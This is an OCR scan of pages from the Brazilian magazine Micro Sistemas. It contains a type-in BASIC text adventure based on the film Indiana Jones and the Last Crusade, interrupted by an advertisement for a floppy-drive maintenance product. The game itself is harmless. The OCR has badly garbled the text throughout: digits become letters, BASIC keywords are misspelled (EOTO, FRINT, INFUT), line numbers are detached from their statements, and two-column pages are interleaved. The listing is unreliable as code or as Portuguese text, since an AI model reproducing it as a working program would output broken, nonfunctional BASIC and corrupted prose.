CEP 20771 Rio de Janeiro — RJ.

MICRO SISTEMAS 53




CLUBE
DO

INDIANA JONES
E A ULTIMA CRUZADA

(0 jogo)

Marco Aurélio Roman

Este & um jogo do tipo adventure. Seu nome & INDIANA JO-
NES E A ULTIMA CRUZADA. As instrucdes basicas para joga-lo séo

as seguintes: usar sempre os verbos no infinitivo (seguir, etc); usar 1@ -
sempre o roteiro do filme do Spielberg; sempre que desejar ir para R e L iy
algum lugar basta escrever o nome do local. 4@ ' POR MPRCO AURELIO ROMAN
Digite o programa com atencao e boa sorte! 0 ' o3e e
Ta -
E@ COLOR 15,1, ::SCREENB:WIOTH3A
@ PRINT" INOIRANA JONES "

122 LOCRTE @.2
110 PRINT"®*#%+ E A ULTIMA CRUZADA o ol .
120 PRINT*VOCE ESTR NOS ESTHDOS UNIDOE E FICA SRBENDO QUE SEU PRI

= ESTA PRESO. "
13¢ INPUT"VOCE YAI ENTRRR NESTA AVENTURR (S/N)";Rs$
14@ IF R$="N"OR A$="n" THEN ENDO ELSE GOTD 158
158 SRINT"VOCE ESTR EMBRRCANDD E ALGUEM LHE ENTREGA LM*

16@ PRINT"ISQUEIRO E VOCE O POE NO BOLSO. APERTE ALGO PARA COMECAR

A VIRGEM. "

170 As=INMEY$:IFAs=""THEN1TQ

180 CLS:PRINT"VOCE JA CHEGOU EM VENEZIA.":PRINT"E REALMENTE UMA BELR
3 CIORDE. "

178 PRINT"VOCE PODE IR PRARA A BIBLIOTECA. HOSPEDARIR, RAUSTRIA OU

BERLIM. "

2@@ INPUT“PARA ONDE VOCE VAI®;BS$
21@ IFB%="BIBLIOTECA" THEN GOTO 240
220 1FB%$="HOSPEOARIA" THEN GOTO S&@
230 IFB$="AUSTRIA®THEN GOTO 1400
24@ IFB$="BERLIM"THEN GOTO 3260
25Q GOTO 1688
260 CLS:PRINT"WOCE ESTA NR BIBLIOTECA. ELSA LHE DA ALGUMAS
ANOTRCOES®
27@ PRINT"DE SEU PAI. ELA CONTEM NUMEROS IDENTICOS
ROS OE UM VITRAL:"
280 PRINT*III. VII. X.*" ,
29@ PRINT*OS NUMERDS III E VII ESTRO EM DURS PILASTRAS, ONDE ESTA O
L
I0@ INPUTAS
310 IFA$="PROCURAR X"THEN EOTO 380
320 IFAT="HOSPEDARIA"THEN BOTO S6@
330 IFA$="AUSTRIA"THEN GOTO 1400
. 340 IFAs="BERLIM'THEN GOTO 3040
358 IFA$="CHAOD'THEN GOTO 380
360 IFA%$="NO CHAO®THEN GOTO 380
370 GOTO 260
380 PRINT"OK. WOCE ENCONTROU O X NO CHAO. GRAFADD SOBRE UMA  PEDRA.
3%@ PRINT"SD OUE VBI PRECISAR DE ALEUMA COISA FARA RETIRAR A PEDRA.°
4@@ INPUT"O QUE VOCE RESOLVE® iAs
410 IFA$=*USAR ALAVANCH"THEN GOTO 458
42@ IFA$="HOSPEDARIA"THEN GOTO S48
430 IFAS="AUSTRIR"THEN GOTO 1408
440 IFAS$="BERLIM"THEN GOTO 3060
45@ GOTO 380
44@ IF ALBVANCRA=1 THEN GOTO 4B@

A revista de

informdafica que 47Q PRINT*VOCE NAO TEM ESTE OBJETO.":FOR T=0 TO 10@D:NEXTIEOTO 380
i 480 CLS:PRINT®OX, VOCE ABRIU UM BURACO ROUI NA BIBLIOTECH. *
ndo pode faltar na estante do 49@ INPUT®VOCE VAI DESCER BURACO, IR PARA HOSPEDARIA. AUSTRIR,
: : RLIM. "3RS
leitor exigente 556 1Mhei Besrer BURATO® THEN 'GOTO 7@

5iB@ IFA$="HOSPEDARIA® THEN GOTO S&@
528 IFA$="AUSTRIA®* THEN GOTO 1508
53@ IFA$="BERLIM"THEN GOTO 3@&@
548 IFA$="DESCER" THEN BOTO 758

A PRIMEIRA REVISTA
BRASILEIRA DE INFORMATICA
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550 EOTO 488
5&B CLS:PRINT"VOCE ESTR NA HOSPEDARIA. "
37@ PRINT*ELR NAO E MUITO LUXUOSA,*

380 PRINT"VOCE PODE IR PARA O DURRTO., BIBLIOTECA. AUSTRIA. BERLIM, *

59@ INPUTRS

&80 IFAS$="DURRTO"THEN GOTO &50

418 IFAs="OUSTRIA®THEN EOTO 1400

&28 IFA$="BIBLIOTECA" THENGOTO 2&@

&3@ IFAS="BERLIM" THEN GOTO 3842

640 GOTO 348

458 CLS:PRINT"VOCE ESTH NO BEU QURRTO. ™

668 PRINT*VOCE VE UMA RLAVRANCR E UM CINZEIRO. *

&70 PRINT"VOCE PODE IR RPENRS PARA O SAGUAD DA HOSPEDRRIA. "
&8@ INPUT"O DUE VOCE DECIDE" :RAs$

658 IFAS$="SAGLAO"THEN GOTO 540

7B@ IFAs$="SAEURA0 O HOSPEDARIA"THEN GOTO 568

71@ IFAs="PEGAR ALAYANCA" THEN BEOTO 73@

728 IFR$="PEGAR CINIZEIRO" THEN GOTO 74@

73@ PRINT*OK. JA PEELEI.®:ALAVANCA=1:FOR T=@ TO 1@@@:NEXT:E0TO &58

740 PRINT®OK. JA PEBLEI.*:CINZEIRD=1:FOR T=@ TO 1@0@:NEXT:EOTD &50
75@ PRINT"VOCE DESCEU 0 BURRCO E ESTA NO SUBTERRANED DA BIBLIOTECH. "

768 PRINT'AGUI ESTA ESCURD. *
77@ PRINT*VOCE PODE SEGUIR EM FRENTE DU SUBIR BURACO. -
78@ INFUT*O QUE VOCE DECIOE® sAS

79@ 1FA$="SUBIR BURACO® THEN GOTO 482

8280 IFAS="SEGLIR EM FRENTE® THEN GOTO i@i@

818 IFA$="FAZER TOCHA® THEN GOTO 830

820 BOTO 750

832 FRINT®A TOCHA ESTH FRONTR, "

848 FRINT*SO FALTA GUEIMAR. *

BS@ INPUTRS

868 IFA$="OUEIMAR TOCHA COM ISOUEIRO®THEN GOTO 598
870 IFR$="SEGUIR EM FRENTE® THEN GOTO 121@

880 EOTO 758

898 CLS:PRINT"VOCE JA ESTA COM A TOCHA EM CHAMAS. =

98@ PRINT"VOCE PODE SEGUIR EM FRENTE DU SUBIR BURACO. "
918 INPUTAS

920 IFA$="SEGUIR EM FRENTE"THEN GOTO 95@

§3@ IFA$="EUBIR BURACO®THEN GOTO 480

948 GOTO 890

95@ CLE:PRINT"AGUI HA OOIS CAMINHOS:OIREITA £ ESQUERDA. *
96@ PRINT®DECTOA-SE ENTRE UM DELES, *

978 INPUTRS

998 IFA$="DIREITA*THEN GOTO 1830

998 IFA$="ESOUERDA"THEN GOTO 1268

1000 GOTO 958

1810 PRINT"NESTA ESCURIDAOD 7" :PRINT*S0 SE VOCE FOR MALULU. "
1028 FOR T=0 TO 20@@:NEXT:EOTO 758

1830 PRINT"VOCE ESCOLHEL B PRSSAGEM ERRADA. -

1840 PRINT*ALELEM BOTOU FOGOD NA ENTRADA, *

1@5@ PRINT"EU SINTO MUITO, MRS R SUA AVENTURA ACHBA FAOUI MESMO. " tEND

185@ CLS:PRINT*VOCE ESTA NO TUNEL DR ESQUERDRA. *
1@7@ PRINT*RUUI ESTR S5UJO0 E CHEID DE RATOS. *
1@8@ PRINT"VOCE B0 PODE SEGUIR EM FRENTE. *
1@9@ A$=INKEY®:IFA$=""THENIBY® ELSE 1100
11@@ CLS:PRINT"VOCE VE O TUMULD"

111@ PRINT"DE UM ANTIGO CRVALEIRO™

112@ FRINT®DR PIMEIRA CRUZROA, "

1132 PRINT"ELE E IRMAOD 00 CRVALEIRD"

114@ PRINT"QUE ESCONDEU O SANTOD GRAL. "

115@ PRINT"VOCE POOE TENTRR ABRIA O TUMULO, "
1150 TNPUT*0 DUE VOCE VAI FRZER®:A$

117@ IFA$="ABRIR TUMULO" THEN GOTO 1248
1180 IFA$="SHAIR" THEN GOTO 1210

1190 IFR$="FUGIR"THEN GOTO 1210

1208 EOTO 1100

1210 PRINT"VOCE NROD PODE FAZER ISTO.*

1220 PRINT"F PASSAGEM ESTA BLODUERDA. *

1230 FOR T=0 TO 1@GRINEXT:EOTO 1100

124@ CLESPRINT"AOUI DENTRO HA SOMENTE®

125@ PRINT"RS OSEADAS OO CRVRLEIROD®

1260
1270
1280
1290
13288
1310
1320
1338
1340
SEM"
1350
1360
1378
1350
1350
1400
1418
1420
1430
1440

PRINT"E O ESCUDO DELE,*

PRINT"COM INSCRICOES EM LATIM."

INPUTFH PROPOSITO. VOCE SABE LATIM(S/NI";AS
IFA%="5"THENGOTO! 3460

IFA$="N"THENGOTO132@

GOTO 1z24@

FRINT"QUE VEREONHA. UM RAROUEDLOGOD"

PRINT"DO SEU ERBARITO NAO SABER" :PRINT"LATIM. "

PRINT"EU SINTO MUITO INDY., MAS VOCE® :PRINT"NAO PODE CONTINUAR

FRINT"ESTA INFORMBCHO. " :END

CLS:PRINT*RE INSCRICOES LHE DRO*

PRINT*OIVERSAS INFORMACDES. *

PRINT"OUE LHE AJUDORM A CONSTRUIRY

PRINT®*LUM MAFA, " sMAPA=1

PRINT"AEORA VOCE SREE"

PRINT*QUE O GRAL ESTR":PRINT"EM ALEXRNDRETH. *

A$=INKEY®: IFAS=""THEN 1420

CLS:PRINT"VOCE SO0 PODE SAIR"

FRINT"NADOANDO. " :PRINT*MAS A SUPERFICIE ESTR®:PRINT"COBERTA DE

PETROLEO. *

1458
1450
1470
1488
1450
158
1518
i5ze
153R

PRINT®*E ESTRA PEERNDO FOGO. ™

INPUTRS

IFRS="MERGULHAR" THENGOTO147™

FRINT"SINTO MUITO. INDY®:PRINT-MAS VOCE MORREL QUEIMADO. " :END
PRINT"VOCE MERGULHOU E ACHOU® :PRINT"UMA SHIDA. *

PRINT"VOC SRIU NA RUA POR UM BUEIRO.":GOTO 151@
R$=INKEY$:IFA$=""THEN 1510

CLS:PRINT*VOCE ESTR NO MEIOD DR RUA. "

PRINT*VOCF PODE IR FRAH O BIBLIOTECA, HOSFEDARIA. BUSTAIA,

BERLIM. "

1548
' 558
15408
1578
1580
15%@
1400

INPLITAS

IFAs$="BIBLIOTECA" THENGOTOZ4@

IFR: HOBPEDRRIA® THENEOTOS&@

IFR AUSTRIR" THENGOTO1&6@8@

IFA%="BERL IM* THENGOTO3@&8

BOTOD 1528

CLS:PRINT*VOCE JA ESTHA NA RUSTRIA. " :PRINT"EM FRENTE R UM VELHO

CRSTELN =

1610
1620
1630
1640
1650
1660
1670
1680
1658
1700
1710
1720
1730
1740
1750
1760
177@
1780
1750
1800
1810
1820
1838
184@
1830
1860
1870
1880
1850
1900
1918
1920

PRINT"VOCE FODE ENTRAR NELE®
FRINT*OU IR PSRA BERLIM. VENEZR®
PRINT"OU ENTRO ALEXANDRETH,
INFUTRS

IFA$="ENTRAR"THEN GOTO 178@
IFA$="BERLIM* THENGOTD 3240
IFA%="VENEZA" THENEDID 150
IFA$="ALEXANDORETR" THENSOTOZE00
EOTD 1480

CLS:PRINT"VOCE ESTH DENTRO 00 CHSTELD. »
PRINT"NR SUR FRENTE HA 4 SALAS, *
FRINT*NMERAORS OE 1 A 4.
PRINT"VOCE MAO TEM COMO RECLAR, *
PRINT®ENTAD, ESCOLHR UMR DELAS. "
INPUTRS

IFA$="SALA 1*THEN GOTO 1810
IFA$="5ALA Z°*"THEN GOTO 2@9@
IFA$="5ALA 3"THEN GOTO 1870
IFA$="5ALR 4"THEN EOTO 197@
GOTO 1702

PRINT®*VOCE ESCOLHEL A SALA el
PRINT"OLE PENR, MBS B SACA ESTA"

PRINT"CHEIR DOE ALEMAES."

PRINT"ELES TE MRTRARAM. INOY.
PRINT*OUE PENA. VOCE NOO COMPLETDU *
PRINT®R RAVENTURA. " :END
IFCHAVE=1THENGOTO 193@

PRINT"VOCE ESCOLHEL H SALR 3. MAS®
PRINT"ELA ESTR TRENCROR E VOCE NAD®
PRINT"TEM CHRVES PARR RBRI-LA.*
PRINT®VOCE TERA QUE ESCOLHER OUTRA. *
R$=INKEY$!IFAS" " THEN192BELSE1 700

FLOPPY DISK EXERCISER

O FLOPPY DISK EXERCISER &
o Exercitador de Unidades de
Discos Flexiveis que vai direto
ao assunto.

Possui um avancado desenho
que torna imediata a visuali-
zacdo de todas as funcgoes,
economizando tempo e di-
nheiro.

Com os recursos disponiveis
no FLOPPY DISK EXERCISER
vocé realiza a manutencao

preventiva ou corretiva nos seus Drivers mais os
ajustes necessarios, produzindo um trabalho den-
tro das normas internacionais, mas sem perda de

tempo.
Facavocé mesmo. Saia dadependéncia!

““Exorcise’ 0s seus problemas
com o FLOPPY DISK EXERCISER.

O FLOPPY DISK EXERCISER
possui todos 0s comandos para
o Driver: gravacio, leitura, avan-
co e retorno automatico ou
manual das cabec¢cas magnéti-
cas, n° das trilhas em display
decimal, etc. Para Drivers de
9,25'* de 40 ou 80 trilhas (PCs,

MSX, etc.).
Informacées:
Tel. (011) 463- 3455

OHMAYE Industria Eletronica Ltda.

Rua Manoel P. da Fonseca, 17 — Caixa Postal 10
CEP 08550 — Poa — Sao Paulo

Tel. (011) 463-3455




15938
L1942
1958
1962
1978
1982
1558
zZeea
zeie
zgze
ze3e
Z040
25e
ZPsd
ze7a
2880
2050
ziee
z11@
»20
2130
2140
2132
2160
217@
21E0
2190
ZZ00
2218
222
2239
224@
2250
2260
2270
2280
2250
23ea
zZ318
Z23z0
2330
2340
z358
2350
Z370
£38@
£35@
2400
2410
2420
2430
z440
Z45@
2468
2470
2488
2450
2502
2318
2528
=338
2548
Z55@
236@
2578
Z388
2590
2600
2610
Z628
24630
2644
zZ&5@
Z66@
670
2688
2690
2700
2718

2720
2738
2740
z73@
27608
2778
Z7B0
792
2508
eBiB
2BZ0
Z83e
284@
z85@
ZB&D
zZB7R
2880
2851
zv0@
2510
2920
2932
25948
2938
2960
2578
2988
2798
Jgee
3eie
3220
3e3e
3042

PRINT-O PORTA ESTAVA TRANCAOR MAs”
T-v[CCE R ABRIL CCM SUAS CHAVES. ©

T+-POHEM. NESTA SALA NAD HRE NEDA® tPRINT " IMPORTRANTE. "
NKEYS: [FR$=""THEN1F&QELGE L TOQ

CLS:PRINT-VOCE ENTROU NA SALA 4. °

PRINT-ROUL HA SOMENTE ALGUMAS ~

PRINT-CHAVES UNIVERSAIS. ©

PRINT"COM ESTAS CHAVES VOCE ABRE

PRINT"DUALQUER FECHADURA. *
PRINT"VOCE 50O PODE IR PARA C
INPUTAS

IFAs="PEGAR CHAVES"THEN GOTO
1FAS$="CORREDOR" THENGOTO170@
GOTO 1970

PRINT-0OK. ELAS JA ESTRO COmM VOCE. "

CHAVES=1:FOR T=@TO 1@@Q:NEXT G070 1972
IFCHAVE=1THENGOTO 2150

CLS:PRINT"R PORTA ESTH TRANCADR E WOCE®
PRINT*NAO TEM CHAVES PARA RBRI-LA."

PRINT"VOCE TERA BDUE RETORNAR AOD"

PRINT*CORREDOR ONDE VOCE ESTAVA.”

Ae=INKEYS$: IFAS=""THEN Z14DELSE170d

CLS:PRINT"R FORTRA ESTAVA TRANCADA M85 VOCE®
PRINT®A ABRIL COM SUAS CHAVES.®

PRINT"VOCE FINALMENTE ENCOMTRA SEU®

PRINT*PRI. ELE DIZ QUE YAI ACOMPRANHB-LO*
PRINT*NESTH AVENTURA. "

As=INKEYS: IFRS$=""THENZZ22

PRINTPOREM. 0OS RLEMRES CHEGHRAM E"
PRINT"PRENDERAM VDCE E SEU PAL. "

GOTO 2248

PRINT=VOCES ESTA AMARRADOS POR UMA®
PRINT"CORDOR. "

PRINT"VOCE POODE ALCANCAR SEU BOLSO."

PRINT*0 QUE VOCE VAL FAZER,. INOY 7°¢

INPUTRS

IFAs="FEGAR ISOUEIRO"THENZ310

¥=Y+1: IF =4 THENGOTOZ42OELEE2220

PRINT"OK. VOCE JR ESTR COM ELE NE MAD. " : INPUTRS
IFA$="RCENDIER ISOUE IRD" THENGOTOZ34@
y=Y¥+1:IFY=4THENGOTOZ420ELSEZ310

PRINT"OK. ELE JR ESTH RCESO. " :INPUTAS
IFA$="QUEIMAR CORDA* THENZ37@

7=7+1:IF7=4THEN 242@ ELSE Z34@

PRINT*VOCE E SEU PRI ESTRO LIVRES."

PRINT"A SUR UNICA OPCAO £ B FUGA.*

INPUTRS

IFAs$="FUGIR" THENGOTOZ4B2

W=W+1 1 IFWM=4THEN 428 ELSE 2370

PRINT"VOCE DEMOROU MUITD € O5 RLEMBES™
PRINT®CHEGRRAM PARA MATAR VOCE E SEU"
PRINT"PHI."

PRINT"EL SINTO MUITO MAS NAO HA NROA"

PRINT"QUE VOCE FOSSRA FAZER FPRARA®

PRINT® IMPEDI-LOS. “ :END

CLS:PRINT"VOCES FUGIRAM E ESTRO EM"

PRINT"UMA SALA ONDE =0 HA uMA CROEIRA. "

INPUT"O BUE VOCE VAL FRIER":AS

1FA$="SENTAR NA CROEIRATTHEN 253@

IFA$="SENTAR CROEIRA"THEM Z235@

¥=X+1:PRINT*ISTO NRO BOIANTH MADA. " IFX=4THEN Z4Z@
FOR T=0 TO 1@@@:NEXT:BOTOD 480

PRINT®A CAGEIRA RCIONOU UM OISPOSITIVOY

PRINT"E RPRRECEU UmMA ESCADA. "

PRINT"R ESCROA SO0 SERVE FHRA DESCER.™

INPUTHS

1FA$="0ESCER ESCROA" THENZ&Z0

J=J+1:IFJ=4THENZ4Z0

PRINT®ISTO NROD AOIANTH MEOA. OR T=0 TO 1@@@:NEXT:GOTOZ550
CLS:PRINT"VOCE ACABOU OE OESCER A ESCROA. "

PRINT*VOCE TEM DURS OF PARR FUGIR:"

PRINT"DE BERCO DU DE mMOTO. "
PRINT"O OUE VOCE VAI FAZER ?°
INPUTRS

IFA$="BRACO" THENZ7 3@

1FA%$="MOTO" THEMZB4@

IFA$="LIGRAR BARCO"THEN Z71@

G070 2628

CLS:PRINT"VOCE LIGOW UM BRRCO. " :PR

CORREDDR® :PRINT"ONDE VOLCE ESTRVA.

2870

ELSE 254@

ELE ESTA DESCENOD O RIL

* tBARCO=1

GOTO 2&63@

PRINT=VOCE ESTA NO BARCO." :PRINT"MAS ELE ESTH DESLIGADO. "
INFUTAS

1FA%="L IGAR BARCO"THEN =77@

BOTO 2420

PRINT*0OK. VOCE ESTH DESCENDO A

PRIMNT* CORBEN
As=INHKEY$: I[FOs=""THENZ77@
PRINT"VOCE VEIDO PRAAR NUM PORTO®
PRINT"DOS NAZISTAS."

PRINT"EU SINTO MUITO MBAS ELES NRO"
PRINT"TEM PIEDRIE. " :EMNO
IFCHAVE=1THENZ73@

PRINT"WOCE ESTH NA MOTO MBS nNADY
PRINT"TEM CHAVES PRRE LTGR i
PRINT"NAD HE MAIS TEMPO. S
PRINT"SUA RAVENTURA BCHEOU, POIS *
PRINT“0S ALEMRES CHEGHRAM. " :END
CLS:PRINT"VOCE PEGOU R MOTO E FUGIU"
PRINT"MAS OS ALEMRES TE FEGARAM. "
END

PRINT"COM SUCESSO. PHARASENS. "
PRINT"SO QUE VOCE AGORE TEM UM"
PRINT"PROBLEMH: "

PRINT®VOCE FODE IR PARAE RLEXANOSETH.
PRINT"SEU PRI LHE OZ DUE O OIARIO®
PRINT"DELE ESTA EM BERLIM E TEM"
PRINT"ANOTRCOES IMPORTANTES. "
PRINT"SERA MESMO 7"

PRINT-R DECISAOD E SUR. ™

INPFUTRS

IFA$="VENEZA" THEN1B@
IFAs="BERL IM" THEN3BSD

: IFBARCO=1 THENZ9I3RELSEZT1D

BERLIM. WENEZA."

3g5@ [FA$="ALE‘ANORETA" THENZSD@

CLS:PRINT-VOCE ESTA EM BERLIM.®

PRI =vOCE ENCOMTRA ELSR E*

PRInT*PECUPERA O DIARIO OE SEU PAL. " :DIRRIO=1
PRIMT"AGORR VOCE SO TEM QUE FUGIR"

PRINT"0S SURS DPCOES SAO0: DIRIGIVEL, AVIAOD E NAVIO NAZIBTH."
PRINT"VICE F SEU PRI ESTHU

PRINT“SENDO TRCADOS PELOS MRZISTAS. "

THELITRS

1FA%="0IRIGIVEL " THENIZ3@

IFAs="AVIAD" THENIZ@2

IFE$="MNAYIO0 NAZISTRA"THEN 3180

GOTO 3868
PRINT"SEU PRI LHE DIZ:="
PRINT® - WOCE ESTA MALUCO ?!'*:FOR T=0 TO 1000 : NEXT 1GOTO3IAL0

PRIMNT*VOCES EMBRRCAM NO AVIAO. *
PRINT"POREM, LDGO QUE COMECA R*
PRINT"VIAGEM, O RVIAD E REVISTROO"
PRINT“E ELES TE DESCOBREM.®

PRINT"E O SEU FIM. INOY":END
PRINT"VOCE EMBARCOU WO DIRIGIVEL®
PRINT'E ESTR FRZENOD UMA TRANSUILR"
PRINT*VIAGEM QUANDD O ODIRIGIVEL®
PRINT*MUDR DE ROTA. VOLTANDO A BERLIM.™
PRINT“NO OIRIGVEL HA UM PEQUEND®
FRINT"AVIAD PARA ALGUMA EMERGENCIA. "
FRINT"HA TAMBEM PARA-OUEDAS." |
FRINT*DE DUE ®ODO VOCE VAT FUGIR?"
INFUTAS

IFR%="AVIAD" THENZ47@

1EA$="FRAA OUEDRS"THEN 3400

PRINT"0 DIRIGIVEL CHEGOU R BERLIM®
PRINT"BNTES DE VOCE TOMAR UMA "

y PRINT"PROVIDENCIA. *

PRINT-ESTH AVENTURR BCABQ AQUI MESMO. " :END
CLS:PRINT"VOCE PULOU DE PARA-GUEDRAS, *
PRINT"MRS UM PILOTO NAZISTR"
PRINT"METRALHOU VOCE E SEU PRI

PRINT"EM PLERZA OUEDR."

PRINT"ELE DESRESPEITOU O TRATAOO®

PRINT"DE GENEBRH.®

PRINT"MHS SUEM IRR IMCRIMINA-LO"

PRINT"POR 1STO 7°

BRINT"VOCE EU GHRANTO QUE NEO.":END
CLS:PRINT®VOCE FEGOU O AYIAD OO DIRIGVEL.®
PRINT®TOOBVIR, VOCE TEVE QUE FAZER®
PRINT"UM POUSO DE EMERGENCIR. "

PRINT"PERTO DE VOCE S5O0 HR®

PRINT"UM CHRRO."

INPUTHRE

IFA%$="ROUBAR CRARRO" THEN3SB@

IFA%="PEGRR CARRO" THENISEO
C=C#+1i IFC=4THENZ428

A L PRINT®"VOCE ESTR DENTRO DO CARRO. "

3540
3550
3550
3&7@
3580
3590
3702
3710
3728
3730
I74@
3730
3760
377Q
37EQ
3790
IJpag
3810

3dz0
3830
3940
3350
3560
387G
i=isin]
3890
3980
3910
3920
373a
3740
3758
3940
3978
3780
3950
4308
4@1@
4@z8
4830
@40
4050
4@sa
4@7e
4030
4098
4100
4110
4122
4138
4140
415Q
4160

PRINT-MAS VOCE TEM GQUE LIBA-LO."
INFUTAS

1FQe="LIGAR CRRRO COM CHAVE"THEN 3580
1FAs="LIGAR CRRRO* THEN 34568

PRINT"O DONO DO CARRD CHEGOU. ™
PRIMT"ELE E UM OFICIAL NRZIISTH."
PRINTZEL ACHO OUE VOCE MORRELL " END
PRINT"LIGAR COM O SUE?"
O$=INHEYS: IFAS="" THENS&TBELSE35B@

IF CHRAVE=1THEN37@2

PRINT"WOCE NAD TEM ESTE OBJETO. " :EOTO 3588
CLS:PRINTAVOCE LISOU O CARRD E SAIU®
PRINT*OIRIGINDO. *

PRINT*VOCE PODE IR PRRA VBRIOS LOCAIS:*
PRINT"BERLIM. AUSTRIR. VENEZR. ALEXRNDRETR"
INPUTRS

IFAs="BERLIM"THEN 3852
IFA$="AUSTRIR"THEN 1528
IFA%="VENEZA"THEN 188
IFA%$="ALEXANDRETHA*THEN 3882

GOTO 3728

CLS:PRINT®VOCE CHEGOU EM RALEXANDRETR®
PRINT"E FOI DIRETO PARA O°

SRINT*DESFILADEIRD,
PRINT*SANTD GRAL."
PRINT*FOREM, HA DIVERSOS CRAMINHOS.*®

PRINT*0 OUE VOCE VRI FHIER 7"

INFUTRS

IFA%$="USAR MAPA" THEN371@

IFAs="0LHAR MOPA*THEN3S10
IFR$="VOLTAR" THENS 128

GOTO3908

IFMAFE=1THENIT38

PRINT"VOCE WAD TEM MAPH, *:FOR T=0 TO 102@:NEXT1EOTO3IS8
CLS:FRINT®VOCE OLHOU SEU HAPA E*
BRINT'DESCOBRIU O CAMINHO CORRETO. " tGOTO3938
PRINT"VOCE COM SEU PRI, ENTRR NO®

PRINT*SALAD OO GRAL.*

PRINT"VOCES VEM ODUE OS NRIISTRS"
PRINT"CHEGARAM LA ANTES."

PRIMNT=MAS AINDA NAODO CONSEGUIRAM®

PRINT*PEGAR O GRAL.®

FOR T=0 TO Z@B@:NEXT:AS$=INKEYS:IFAS$=""THENAB1D
CLS:PRINT®0S ALEMBES DESCOBREM VOCE®

PRINT"E SEU PRI."

FRINT*UM DELES DA UM TIRO EM SEU®

PRINT"PAI."

PRINT*SE VOCE DUISER SALVAR EEU PAL"
PRINT"VOCE TERA DUE BUSCAR 0O GRAL.*®
PRINT"FOREM. ISTO PODE LHE TIRAR A*
PRINT"VIDA. FLGUNS SOLOAOOS ALEMAES*

PRINT®.JA ENTRARAM E NAO FORAM BEM®
PRINT‘EUCEEIUQE.'HS=INKET'=IFH""TNEN*I[.
IFOIARIO=1 THEN 4228

PRINT*FOREM. HA TRES OBSTRCULDS® 5

FRINT"R SEREM ENFRENTAOOS FOR QUEM"

PRINT"OUER PEGAR O GRAL.®

FRINT®COMO YOCE NAO CONHECIA OS*

EM BUSCH DO*

56 MICRO SISTEMAS




PRINT®OBSTRCULOS. VOCE NAD TINHA® 4700 PRINT*AGORA E A TERCEIRR ETAPA.*
PRINT"COMD EVITHR-LDS. * 4718 PRINT*O0 DIARIO OIZ:*
PRINTYPORTANTS, SUR RVENTURA BCRBA AOUI. " :END - 4728 PRINT"E UM SALTO DE FE, *

CLE:PRINT*VOCE VWRT ENFRENTBR O FRIMEIRO" 4730 PRINT"VOCE ESTR EM FRENTE B LM*
PRINT"OBSTRCULO. ® 4740 PRINT"PRECIPICIO.™
20 PRINT"NO DIRRIO DE SEW PRI ESTA" 475@ PRINT"O QUE VOCE YRAI FHAZER 7
} PRINT"ESCRITO: SO0 O HOMEM PENITENTE" 4760 INPUTRS
FRINT"PRSSERA" 4770 IFAS="ANDAR" THEN4B20
FRINT"UME DECISAD ERRROR LHE CUSTARA® 4780 IFEs="PULRR"THEN4B1Q@

@ PRINT®A VIDA.* 4773 IFR$="SALTAR"THEN 4810
} INPLUTRS 4800 GOTO 4598

IFOs="0I0EL HER "THEN433@ 481@ PRINT"ERA UM SALTO OE FE ...":END
IFAF="RJOELHAR" THEMN 4330 4820 CLS:PRINT"VOCE PASSOU PELDS TRES"
F "MOCE MAD FOI PENITENTE. " 4830 PRINT"OBSTACLLOS, "
"PORTANTO, VOCE NAOD PESSOL DO 4B84@ PRINT"BGEORA VOCE ESTA NA SALG OO
“PRIMEIRD DBSTACLLO. " :END 4858 PRINT'GRAL." |
ITYMO OIRRIO ODE SEU PRI ESTA" L4350 PR "MESTA MESMA SALA ESTR O

ESCRITD PORA O SEGUNDO OBSTRCULLD: * 4870 FR CAVALEIRO QUE ESCODEL O GRAL. " |
S1EA AS PALOVRAS DE DEUS® 4B8@ PRINT"SE VOCE NAOD SHEE, O SANTO"
MO CHAO HA DIVERSHS LETRAS® 4890 PRINT"GRAL E O CALICE QUE JESUS"
“ESCRITAS. " - 4900 PRINT"USOU NE ULTIMR CEIQ."

SE VOCE INTERPRETOU O DIARRIO, " 491@ PRINT"FOREM, NA SUR FRENTE. HA®

"TENTE FASSAR PELO SEGLINOOD® 492@ PRINT*DIVERSOS CALICES. - |

4930 PRINT*CABE R VOCE ESCOLHER. =
E: LETRA POR LETRA:. " 424@ PRINT“O0 CAVALEIRD LHE nIz:*
THEN4420 #95@ PRINT* -ASSIM COMO A ESCOLHA CERTH LHE OARFA B vioH, "
HE THENS GGl 4%4@ PRINT“A ESCOLHA ERRADA POOERS  TIARR-LA DE WOCE.
J" THEN4350 4%7@ PRINT"HR DIVERSOS CALI

GOTO 4470 4£7B@ PRINT"FRENTE. CHABE A VOCE ESCOLHER. "
RE=[NKEY$: IFRe=""THEN4 440 4990 PRINT®PENSE BEM ANTES DR ESCOLHA. *
IFR%$="E~THEN447@ S@@@ INFUTAS

4570 : 5@1@ IFR$="0 MRIS SIMPLES"THENSESD
H$=INKEYS: IFA%$="*THEMN4 490 SB2@ IFA$="MALS SIMPLES"THEN 5050
IFRS="U"THEN4SZ0 S@3@ IFA$="DE MROEIRR" THEN 5250 |

CES A 5UA" ‘

=070 44570 5@4@ CLS: NT"VOCE MWAOD ESCOLHEU CORRETAMENTE. " :ENO
BE=IN=FY®: [FOs=""THEN4SZD 5050 CLS:PRINT"A SUR ESCOLHA FOI CORRETA. *
IFR®="5"THEN4&7@ S5@5@ PRINT"VOCE LEVA AGUA NO SANTO GRAL"
GOTO 457@ S@7@ PRINT"PARR SEU PRI E O FERIMENTO" :PRINT"DELE DESRFPARECE. =
AE=1H1 %:IFAS=""THEN455Q S@8@ PRINT"VOCE CONCLUIU MRIS UMA AVENTURA"
IFA%="E" THEN4S8R 5090 PRINT"COM SUCESSO, INDY '*
GOTO4467@ 5108 PRINT"OU MELHOR: =
380 AS=INKEYE: IFA$=""THEN4530 S511@ PRINT" HENRY JOWES JUNIDR, * :END
4598 IFR%="D0"THEN4&1D 5120 CLS:PRINT"VOCE VOLTOU A ALEXHENDORETH. ©
4580 BOTOL570 3130 PRINT®*VOCE FOODE IR PARA"
4610 OS=INHEY®:IFAS=""THENLL1Q@ 5140 PRINT"VENEZIA., RUSTRIA. BERLIM" |_
4520 IFA%$="V"THENS&LD 3158 PRINT"OU YOLTAR AQ DESFILADEIRO. *
“63@ GOTO4470 51588 INFUTAS
464@ AS=INKEY$: IFAS=""THEN4&4@ 5170 IFA$="VENEIA"THEN18@
45650 IFAS="H"THEN4&9@ 5180 IFA$="AUSTRIR"THEN 1&2@
4650 GOTO4570 3178 IFA$="BEALIM"THEN 320
45678 PRINT"WOCE ERROU. EU SINTO MUITO. " 3288 IFA%$="DESFILADEIRO" THENZZ0@ |
468@ END 521@ GOTO 5120

